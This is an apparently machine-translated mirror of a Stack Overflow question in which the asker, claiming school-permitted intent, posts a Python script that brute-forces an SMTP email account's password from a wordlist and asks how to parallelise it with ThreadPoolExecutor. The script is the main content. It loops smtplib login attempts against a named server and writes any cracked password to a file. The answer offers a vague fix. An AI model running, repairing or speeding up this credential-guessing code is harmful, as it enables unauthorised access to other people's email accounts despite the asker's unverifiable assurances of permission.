并行计算任务在PYTHON中的强力执行 [英] Parallel compute task to brute-force in python

查看:24
本文介绍了并行计算任务在PYTHON中的强力执行的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

/*这不是为了任何非法的事情,只是我的学校只使用7个整数,我想看看我是否能及时解决这个问题,因为目前我需要1.59年才能破解密码。学校在现场有自己的私人服务器,任何人都可以使用,而且很容易被发现。我只会在他们允许的情况下对我或我的朋友这么做。*/

我只是想使用多进程或并发。期货来让这个密码破解程序在合理的时间内运行。

以下是我将其并列的尝试

import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
    print("Got to here3")
    smtpserver.connect('private_email_server', 587)
    smtpserver.ehlo()
    smtpserver.starttls()
    print("OK going to main")
    main()
def main():
    for password in passwfile.readlines():
        password = password.strip()
        print("Go to here1")
        try:
            print("WELL AT LEAST WE GOT HERE")
            smtpserver.login('myemail@private_email.com', password)
            a = password
            with open('pass.txt','w') as bc:
                bc.write(a)
            print ("[+] Password cracked----> %s" % password)
            input()
            break
        except smtplib.SMTPAuthenticationError:
            print("[-] Wrong --> %s" % password)   
            pass
        except:
            print("Got to here2")
            conn()
if __name__ == '__main__':


    passwfile = open('per.txt', 'r')
    smtpserver = smtplib.SMTP()

    with ThreadPoolExecutor(max_workers=3) as exe:
        exe.submit(conn)

这实际上只有当密码在第一行时才有效,它只输出我在那里写的指示符,就像print ("Got to here3")它不会打印破解的密码,甚至不会将其写入文本文件。

推荐答案

您尝试过

with ThreadPoolExecutor as exe:
    exe.submit(conn)

您可能没有实际连接到服务器

这篇关于并行计算任务在PYTHON中的强力执行的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆